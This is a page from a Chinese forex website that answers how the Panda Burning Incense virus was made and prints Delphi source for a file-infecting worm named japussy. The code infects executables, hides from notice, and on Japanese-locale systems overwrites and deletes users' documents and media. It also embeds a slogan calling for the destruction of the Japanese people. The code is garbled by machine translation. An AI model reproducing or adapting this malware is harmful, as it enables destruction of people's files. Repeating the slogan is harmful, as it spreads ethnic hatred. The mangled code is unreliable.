當前位置:外匯行情大全網 - 外匯開戶 - 熊貓燒香病毒是怎麽做到的?

熊貓燒香病毒是怎麽做到的?

想做熊貓香,就要學會編程。熊貓香是用Delphi寫的。如果妳想做,妳必須學習Delphi。

以下是熊貓燒香代碼:

程序japussy

使用

windows,sysutils,classes,graphics,shellapi{,registry}。

常數

headersize = 82432//病毒體的大小

icon offset = $ 12eb 8;//pe文件主圖標的偏移量

//在我的delphi5 sp1上編譯的大小在其他版本的delphi中可能會有所不同。

//找到十六進制字符串2800000020,找到主圖標的偏移量。

{

header size = 38912;//upx壓縮的病毒體的大小

iconoffset = $ 92bc//upx壓縮的pe文件主圖標的偏移量。

//upx 1.24w用法:upx-9-8086 japussy.exe。

}

iconsize = $ 2e8//pe文件主圖標大小-744字節

icon tail = icon offset+iconsize;//pe文件主圖標的尾部

id = $ 44444444//感染標記

//寫垃圾代碼。

口號= '如果壹個種族需要被消滅,那壹定是大和'+

如果有壹個國家需要被摧毀,那壹定是日本!”+

* * * W32 . japussy . worm . a * * * ';

{$r *。res}

函數registerserviceprocess(dwprocessid,dw type:integer):integer;

stdcall外部“kernel 32 . dll”;//函數聲明

定義變量

tmpfile:string;

si:startup info;

pi:進程_信息;

isjap:boolean = false;//日文操作系統標簽

{判斷是不是win9x}

函數is win9x:boolean;

定義變量

ver:tosversioninfo;

開始

結果:=假;

ver . dwosversioninfosize:= sizeof(tosversioninfo);

如果不是getversionex(ver ),則

退出;

if(ver . dwplatformid = ver _ platform _ win32 _ windows)然後//win9x

結果:=真;

結束;

{在流之間復制}

過程copy stream(src:tstream;sstartpos:整數;dst:tstream;

dstartpos:整數;計數:整數);

定義變量

scurpos,dcurpos:整數;

開始

scur pos:= src . position;

dcurpos:= dst . position;

src.seek(sstartpos,0);

dst.seek(dstartpos,0);

dst.copyfrom(src,count);

src.seek(scurpos,0);

dst.seek(dcurpos,0);

結束;

{將主機文件與受感染的pe文件分開使用}

過程extractfile(文件名:字符串);

定義變量

sstream,dstream:tfilestream;

開始

嘗試

sstream:= tfilestream . create(paramstr(0),fmopenread或fmsharedenynone);

嘗試

dstream := tfilestream.create(文件名,fmcreate);

嘗試

sstream.seek(headersize,0);//跳過頭的病毒部分

dstream.copyfrom(sstream,sstream . size-header size);

最後

dstream.free

結束;

最後

sstream.free

結束;

除...之外

結束;

結束;

{填充startupinfo結構}

過程fillstartupinfo(var si:startup info;狀態:word);

開始

si . CB:= sizeof(si);

si . LP reserved:= nil;

si . lpdesktop:= nil;

si . LP title:= nil;

si . dw flags:= startf _ useshowwindow;

si . wshowindow:= state;

si . CB reserved 2:= 0;

si . lpreserved 2:= nil;

結束;

{發送有毒郵件}

過程sendmail

開始

//誰願意完成它?

結束;

{受感染的pe文件}

過程infectonefile(文件名:字符串);

定義變量

hdrstream,srcstream:tfilestream;

icostream,dst stream:tmemorystream;

iid:longint;

aicon:ticon;

infected,ispe:boolean;

I:整數;

buf: array[0..1]的char

開始

Try //錯誤,文件正在使用中,退出。

如果comparetext (filename,' japussy.exe') = 0那麽//如果妳是妳自己,妳就不會被感染。

退出;

已感染:=假;

ispe:= false;

srcstream := tfilestream.create(文件名,fmopenread);

嘗試

對於i := 0到$108,請檢查pe文件頭。

開始

srcstream.seek(i,sofrombinging);

srcstream.read(buf,2);

If (buf [0] = # 80)和(buf [1] = # 69)那麽//PE標簽

開始

ispe:= true;//是壹個pe文件。

打破;

結束;

結束;

srcstream.seek(-4,sofromend);//檢查感染標記

srcstream.read(iid,4);

if (iid = id)或(srcstream.size & lt10240)那麽//太小的文件就不會被感染。

已感染:= true

最後

srcstream.free

結束;

如果被感染或(非ispe)則//如果被感染或未被pe文件退出。

退出;

icostream:= tmemorystream . create;

dst stream:= tmemorystream . create;

嘗試

aicon:= ticon . create;

嘗試

//獲取被感染文件的主圖標(744字節)並存儲在流中。

aicon.releasehandle

aicon . handle:= extract icon(h instance,pchar(文件名),0);

aicon . savetostream(icostream);

最後

aicon.free

結束;

srcstream := tfilestream.create(文件名,fmopenread);

//頭文件

HDR stream:= tfilestream . create(paramstr(0),fmopenread或fmsharedenynone);

嘗試

//在病毒體主圖標前寫數據。

copystream(hdrstream,0,dststream,0,icon offset);

//寫當前程序的主圖標。

copystream(icostream,22,dststream,iconoffset,iconsize);

//將病毒體主圖標的數據寫入病毒體尾部。

copystream(hdrstream,icontail,dststream,icontail,header size-icon tail);

//寫入宿主程序

copystream(srcstream,0,dststream,headersize,src stream . size);

//寫入受感染標誌

dststream.seek(0,2);

iid:= $ 4444444;

dststream.write(iid,4);

最後

hdrstream.free

結束;

最後

srcstream.free

icostream.free

dststream.savetofile(文件名);//替換宿主文件

dststream.free

結束;

除外;

結束;

結束;

{將目標文件寫入垃圾郵件後將其刪除}

過程smashfile(文件名:字符串);

定義變量

filehandle:整數;

I,size,mass,max,len:整數;

開始

嘗試

setfile attributes(pchar(filename),0);//移除只讀屬性

filehandle := fileopen(文件名,fmopenwrite);//打開文件

嘗試

size := getfilesize(filehandle,nil);//文件大小

I:= 0;

隨機化;

max:= random(15);//寫垃圾代碼的隨機次數

如果max & lt那就5

max:= 5;

mass:= size div max;//每個間隔塊的大小

len := length(流行語);

而我& lt馬克斯·多

開始

fileseek(filehandle,i * mass,0);//定位

//寫垃圾代碼徹底銷毀文件。

filewrite(filehandle,catchword,len);

inc(壹);

結束;

最後

file close(file handle);//關閉文件

結束;

deletefile(pchar(文件名));//刪除它

除...之外

結束;

結束;

{獲取可寫驅動器列表}

函數get drives:string;

定義變量

disk type:word;

d:char;

str:字符串;

I:整數;

開始

對於i := 0到25,do //遍歷26個字母。

開始

d:= chr(I+65);

str:= d+':\ ';

disk type:= get drive type(pchar(str));

//獲取本地磁盤和網絡磁盤。

如果(disktype = drive_fixed)或(disktype = drive_remote)則

結果:=結果+d;

結束;

結束;

{遍歷目錄,感染和破壞文件}

過程loopfiles(路徑,掩碼:字符串);

定義變量

I,計數:整數;

fn,ext:string;

subdir:t strings;

search rec:tsearchrec;

msg:tmsg;

function is validir(search rec:tsearchrec):integer;

開始

if(search rec . attr & lt;& gt16)和(searchrec.name & lt& gt'.')和

(searchrec.name & lt& gt'..')然後

結果:= 0 //不是目錄。

else if (searchrec.attr = 16)和(searchrec.name & lt& gt'.')和

(searchrec.name & lt& gt'..')然後

結果:= 1 //不是根目錄。

else結果:= 2;//是根目錄。

結束;

開始

if (findfirst(path + mask,faanyfile,searchrec) = 0)然後

開始

重復

peekmessage(msg,0,0,0,pm _ remove);//調整消息隊列以避免懷疑。

如果isvaliddir(searchrec) = 0,則

開始

fn:= path+search rec . name;

ext :=大寫(extractfileext(fn));

if (ext = '。exe ')或(ext = '。scr ')然後

開始

感染文件(fn);//受感染的可執行文件

結束

else if (ext = '。htm ')或(ext = '。html ')或(ext = '。asp ')然後

開始

//感染html和asp文件,將base64編碼的病毒寫入。

//感染所有瀏覽此網頁的用戶。

//哪位大佬願意完成?

結束

Else if ext = '。wab' then //outlook通訊簿文件

開始

//獲取outlook電子郵件地址

結束

Else if ext = '。adc然後//foxmail地址自動完成文件。

開始

//獲取foxmail電子郵件地址

結束

Else if ext = 'ind' then //foxmail地址簿文件

開始

//獲取foxmail電子郵件地址

結束

其他

開始

如果是isjap那麽//就是日本的操作系統。

開始

if (ext = '。doc ')或(ext = '。xls ')或(ext = '。mdb ')或

(ext = '.mp3 ')或(ext = '。rm ')或(ext = '。ra ')或

(ext = '。wma ')或(ext = '。zip ')或(ext = '。rar ')或

(ext = '。mpeg ')或(ext = '。asf ')或(ext = '。jpg ')或

(ext = '。jpeg ')或(ext = '。gif ')或(ext = '。swf’)或

(ext = '。pdf ')或(ext = '。chm ')或(ext = '。阿維’)然後

smash file(fn);//銷毀文件

結束;

結束;

結束;

//感染或刪除文件後休眠200毫秒,避免cpu使用率高引起的懷疑。

睡眠(200);

直到(findnext(search rec)& lt;& gt0);

結束;

findclose(search rec);

subdir:= tstringlist . create;

if (findfirst(path + '*。*,fadirectory,searchrec) = 0)則

開始

重復

如果isvaliddir(searchrec) = 1,則

subdir . add(search rec . name);

直到(findnext(search rec)& lt;& gt0);

結束;

findclose(search rec);

count:= subdir . count-1;

對於i := 0來計數do

loop files(path+subdir . strings+' \ ',mask);

freeandnil(subdir);

結束;

{遍歷磁盤上的所有文件}

過程感染文件;

定義變量

driver list:string;

I,len:整數;

開始

如果getacp = 932,則//日本操作系統

isjap:= true;//去死吧!

driver list:= get drives;//獲取可寫磁盤列表

len:= length(driver list);

While true do //無限循環

開始

For i := len downto 1 do //遍歷每個磁盤驅動器。

loopfiles(driverlist + ':\ ',' *。*');//被感染

sendmail//發送有毒郵件

睡眠(1000 * 60 * 5);//睡眠5分鐘

結束;

結束;

{主程序開始}

開始

如果是win9x那麽//就是win9x。

RegisterServiceProcess(getCurrentProcessID,1)//註冊為服務進程。

else //winnt

開始

//遠程線程映射到資源管理器進程。

//哪位兄弟願意完成?

結束;

//如果是原病毒體本身

如果compare text(extract filename(paramstr(0)),' japussy.exe') = 0,則

感染文件//感染和電子郵件

Else //已經寄生在宿主程序上,開始工作了。

開始

tmpfile:= paramstr(0);//創建壹個臨時文件

delete(tmpfile,length(tmpfile) - 4,4);

tmpfile := tmpfile + #32 +'。exe ';//真正的主機文件,多壹個空格。

extract file(tmpfile);//分開它

fillstartupinfo(si,SW _ show default);

createprocess(pchar(tmpfile),pchar(tmpfile),nil,nil,true,

0,零,'.',si,pi);//創建要運行的新進程。

infectfiles//感染和電子郵件

  • 上一篇:Weltrade外匯交易平臺。存取款快嗎?
  • 下一篇:央行管理境外銀行嗎
  • copyright 2024外匯行情大全網